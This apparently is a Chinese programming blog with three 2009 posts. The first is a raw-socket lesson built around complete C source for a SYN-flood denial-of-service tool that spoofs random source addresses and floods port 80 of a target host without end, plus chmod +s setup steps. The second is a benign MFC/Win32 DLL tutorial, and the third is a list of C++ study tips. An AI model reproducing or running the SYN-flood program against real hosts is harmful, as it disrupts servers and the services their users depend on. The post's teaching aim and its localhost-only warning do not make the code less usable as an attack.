2009年4月26日
原始套接字
我們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 里面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root權限的人創建.
10.1 原始套接字的創建
int sockfd(AF_INET,SOCK_RAW,protocol)
可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看 下面我們以一個實例來說明原始套接字的創建和使用
10.2 一個原始套接字的實例
還記得DOS是什么意思嗎?在這里我們就一起來編寫一個實現DOS的小程序. 下面是程序的源代碼
/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define DESTPORT 80 /* 要攻擊的端口(WEB) */
#define LOCALPORT 8888
void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;
if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
exit(1);
}
/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 沒有辦法,只用超級護用戶才可以使用原始套接字 *********/
setuid(getpid());
/********* 發送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 發送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的數據包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP數據包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度 **/
ip->ip_tos=0; /** 服務類型 **/
ip->ip_len=htons(head_len); /** IP數據包的長度 **/
ip->ip_id=0; /** 讓系統去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->ip_sum=0; /** 校驗和讓系統去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的對象 **/
/******* 開始填寫TCP數據包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立連接 **/
tcp->check=0;
/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那里來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/** 什么都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
編譯一下,拿localhost做一下實驗,看看有什么結果.(千萬不要試別人的啊). 為了讓普通用戶可以運行這個程序,我們應該將這個程序的所有者變為root,且 設置setuid位
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
10.3 總結
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這里面是不是有很多的樂趣呢. 當我們創建了一個TCP套接字的時候,我們只是負責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據后,回自動的調用相應的模塊給數據加上TCP頭部,然后加上IP頭部. 再發送出去.而現在是我們自己創建各個的頭部,系統只是把它們發送出去. 在上面的實例中,由于我們要修改我們的源IP地址,所以我們使用了setsockopt函數,如果我們只是修改TCP數據,那么IP數據一樣也可以由系統來創建的.
2009年4月12日
首先要建立一個dll的資源,file->new->MFC appwizard(dll) 輸入工程的名字
點擊 FINISH 然后點擊 OK
你就可以開始創建你自己的dll資源了 我這里的DLL資源是一個圖片
INSERT -》RESOURCE -》選擇BITMAP 單機IMPORT 找出要導入的圖片就可以了
注意圖片的后綴名是 .bmp 或 .ico 不能是其他格式的否則就用不了
導入成功以后就可以編譯一下(不用運行)
然后在工程文件的目錄中debug文件夾中就會有一個 .dll 和.lib的文件(這兩個文件有用)
這樣你自己的DLL就建立成功了
接下來的任務是如何把自己建立的DLL應用到自己的程序中去
打開工程建立一個基于對話框的應用程序,放置一個picture(這個控件必須修改名字,否則無法定義成員變量)和一個button,把picture的type設置成和你加載的圖片一樣的格式(比如在DLL中你導入的是一個.bmp的圖片,那就把type設置成bitmap,導入的是.ico的圖片 就設置成icon)
然后就是給button增加單機響應事件。
代碼如下:
HINSTANCE hdll; //存儲加載的動態連接庫的句柄
HINSTANCE hcurrent; //保存當前句柄 以用于最后恢復到當前
hdll=::LoadLibrary("C:\\Program Files\\Microsoft Visual Studio\\MyProjects\\cbitmap\\Debug\\cbitmap.dll");
//加載你自己建立的DLL 這里有一個注意的地方 文件目錄之間要用 \\ 否則會有警告
if(hdll) //如果DLL不為空
{
hcurrent=AfxGetResourceHandle(); //獲取當前的句柄
AfxSetResourceHandle(hdll); //設置成 DLL的句柄
HBITMAP hbit=::LoadBitmap(hdll,MAKEINTRESOURCE(IDB_BITMAP1)); //第一個參數 用的是哪個對象就要設置成相應的句柄 如果用的是本工程中的圖片就用 AfxGetInstanceHandle 或者是AfxGetApp->m_Instance;
第二個參數是圖片的一個資源標識,要用MAKEINTRESOURCE 進行轉換 非常要注意的是MAKEINTRESOURCE的參數 你導入的圖片在DLL中用的是什么名字 在這里也要用一樣的的名字 否則就會出錯。
m_pic.SetBitmap(hbit);
AfxSetResourceHandle(hcurrent); //恢復到當前句柄
}
AfxFreeLibrary(hdll); 釋放hdll
并不是代碼有了就可以用了 還需要一些準備工作,第一個 將制作DLL產生的lib文件導入
步驟:project ->add to project ->files 找到制作DLL產生的lib文件,將其導入
還要在工程的頭文件中把制作DLL時產生的和工程名相同的頭文件用語句“#include "xx.h"”
包含進來。這里有一個小細節要注意,由于這個頭文件的目錄和我們現有工程的的目錄是不一樣的
我們可以把這個頭文件直接復制到我們現有工程的目錄中即可。
這些工作做完了 我們就可以運行我們的工程了
DLL中定義有兩種函數:
---- 導出函數(exportfunction): 可以被其他模塊調用
---- 內部函數(internalfunction): 只能在DLL內部使用
---- 創建一個基于API的DLL.本例只定義了導出函數.
---- 1.在FILE- >NEW- >PROJECTS中選擇"WIN32 Dynamic-Link Library"在Project Name中輸入 "a"按OK
---- 2.在FILE- >NEW- >FILES中選擇C++ SOURCE FILE,在FILE中輸入a.cpp,按OK
---- 在FILE- >NEW- >FILES中選擇TEXT文件,在FILE中輸入a.h,按OK
---- 在FILE- >NEW- >FILES中選擇TEXT文件,在FILE中輸入a.def,按OK
---- 3.源文件:
file://---------------------------
file://a.cpp
#include < windows >
WINAPI int add(int a,int b)
{ return (a+b);
}
file://---------------------------
file://a.h
WINAPI int add(int a,int b);
file://---------------------------
file://a.def
LIBRARY "aaa" ;指出DLL的名字
DESCRIPTION ''aaa Windows Dynamic Link Library''
;描述DLL的用途(此句可選)
EXPORTS add ;導出函數的名字
四.調用DLL的方法:
---- 1.通常我們在調用DLL時所需的DLL文件必須位于以下三個目錄之一:
---- (1)Windows的系統目錄:\windows\system;
---- (2)DOS中path所指出的任何目錄;
---- (3)程序所在的目錄;
---- 同時應注意管理好你的.lib文件和.h和文件
---- 2.建立一個工程,簡單起見可建立一個控制臺應用程序.
---- 3.在工程中引入a.lib:
---- (1)如果你的a.lib放在VC標準的LIB文件夾中.
單擊Project- >Project Settings...
在link選卡的object/library modules中加上a.lib即可
---- (2)如果你的a.lib不是放在VC標準的LIB文件夾中
單擊Project- >Add to Project- >files...
找到a.lib文件,按OK
< pre >
4.//------------------------
file://call_a.cpp
#include< stdio.h >
#include "c:/a/a.h"
void main(void)
{ int c=0;
c=add(1,2);
printf("1+2=%d",c);
}
file://本程序在VC5.0下調試通過
給EDIT附值時的方法:
(1)可以給EDIT控件添加CSTRING的成員變量,然后用 m_text=_T("hello");的形式給EDIT附值
但這時候你就得必須在m_text=_T("hello");這句的前面加上UpdateData(TRUE);在后面加上
UpdateData(FALSE); 其中UpdateData(TRUE);的作用是將EDIT中的內容更新成員變量中,
UpdateData(FALSE);的作用是將成員變量的內容更新到EDIT中。
(2)給EDIT添加CEDIT類型的變量,調用其中的SETWINDOWTEXT方法給EDIT附值,但是此時注意
如果你為EDIT定義了CSTRING的成員變量就不用UpdateData(TRUE);和UpdateData(FALSE);
因為你如果還繼續使用,UpdateData(TRUE);將EDIT的內容附值到了CSTRING類型變量,
UpdateData(FALSE);又將CSTRING類型變量的內容又附值到了EDIT中,這樣SETWINDOWTEXT
函數就沒有作用了。
(3) 因為控件也是由CWIND類派生來的,所以可以先調用GetDlgItem(參數是控件的ID),返回的
是CWIND類型的指針,然后用這個指針調用-》SetWindowText(內容)就可以給EDIT附值了
UpdateData(TRUE); UpdateData(FALSE);的要求和上面一樣。
2009年3月19日
1.把C++當成一門新的語言學習。
2.看《Thinking In C++》,不要看《C++變成死相》;
3.看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因為他們很難而我們自己是初學者所以就不看;
4.不要被VC、BCB、BC、MC、TC等詞匯所迷惑——他們都是集成開發環境,而我們要學的是一門語言;
5.不要放過任何一個看上去很簡單的小編程問題——他們往往并不那么簡單,或者可以引伸出很多知識點;
6.會用Visual C++,并不說明你會C++;
7.學class并不難,template、STL、generic programming也不過如此——難的是長期堅持實踐和不遺余力的博覽群書;
8.如果不是天才的話,想學編程就不要想玩游戲——你以為你做到了,其實你的C++水平并沒有和你通關的能力一起變高——其實可以時刻記住:學C++是為了編游戲的;
9.看Visual C++的書,是學不了C++語言的;
10.浮躁的人容易說:XX語言不行了,應該學YY;——是你自己不行了吧!?
11.浮躁的人容易問:我到底該學什么;——別問,學就對了;
12.浮躁的人容易問:XX有錢途嗎;——建議你去搶銀行;
13.浮躁的人容易說:我要中文版!我英文不行!——不行?學呀!
14.浮躁的人容易問:XX和YY哪個好;——告訴你吧,都好——只要你學就行;
15.浮躁的人分兩種:a)只觀望而不學的人;b)只學而不堅持的人;
16.把時髦的技術掛在嘴邊,還不如把過時的技術記在心里;
17.C++不僅僅是支持面向對象的程序設計語言;
18.學習編程最好的方法之一就是閱讀源代碼;
19.在任何時刻都不要認為自己手中的書已經足夠了;
20.請閱讀《The Standard C++ Bible》(中文版:標準C++寶典),掌握C++標準;
21.看得懂的書,請仔細看;看不懂的書,請硬著頭皮看;
22.別指望看第一遍書就能記住和掌握什么——請看第二遍、第三遍;
23.請看《Effective C++》和《More Effective C++》以及《Exceptional C++》;
24.不要停留在集成開發環境的搖籃上,要學會控制集成開發環境,還要學會用命令行方式處理程序;
25.和別人一起討論有意義的C++知識點,而不是爭吵XX行不行或者YY與ZZ哪個好;
26.請看《程序設計實踐》,并嚴格的按照其要求去做;
27.不要因為C和C++中有一些語法和關鍵字看上去相同,就認為它們的意義和作用完全一樣;
28.C++絕不是所謂的C的“擴充”——如果C++一開始就起名叫Z語言,你一定不會把C和Z語言聯系得那么緊密;
29.請不要認為學過XX語言再改學C++會有什么問題——你只不過又在學一門全新的語言而已;
30.讀完了《Inside The C++ Object Model》以后再來認定自己是不是已經學會了C++;
31.學習編程的秘訣是:編程,編程,再編程;
32.請留意下列書籍:《C++面向對象高效編程(C++ Effective Object-Oriented Software Construction)》《面向對象軟件構造(Object-Oriented Software Construction)》《設計模式(Design Patterns)》《The Art of Computer Programming》;
33.記住:面向對象技術不只是C++專有的;
34.請把書上的程序例子親手輸入到電腦上實踐,即使配套光盤中有源代碼;
35.把在書中看到的有意義的例子擴充;
36.請重視C++中的異常處理技術,并將其切實的運用到自己的程序中;
37.經常回顧自己以前寫過的程序,并嘗試重寫,把自己學到的新知識運用進去;
38.不要漏掉書中任何一個練習題——請全部做完并記錄下解題思路;
39.C++語言和C++的集成開發環境要同時學習和掌握;
40.既然決定了學C++,就請堅持學下去,因為學習程序設計語言的目的是掌握程序設計技術,而程序設計技術是跨語言的;
41.就讓C++語言的各種平臺和開發環境去激烈的競爭吧,我們要以學習C++語言本身為主;
42.當你寫C++程序寫到一半卻發現自己用的方法很拙劣時,請不要馬上停手;請盡快將余下的部分粗略的完成以保證這個設計的完整性,然后分析自己的錯誤并重新設計和編寫(參見43);
43.別心急,設計C++的class確實不容易;自己程序中的class和自己的class設計水平是在不斷的編程實踐中完善和發展的;
44.決不要因為程序“很小”就不遵循某些你不熟練的規則——好習慣是培養出來的,而不是一次記住的;
45.每學到一個C++難點的時候,嘗試著對別人講解這個知識點并讓他理解——你能講清楚才說明你真的理解了;
46.記錄下在和別人交流時發現的自己忽視或不理解的知識點;
47.請不斷地對自己寫的程序提出更高的要求,哪怕你的程序版本號會變成Version 100.XX;
48.保存好你寫過的所有的程序——那是你最好的積累之一;
49.請不要做浮躁的人;
50.請熱愛C++!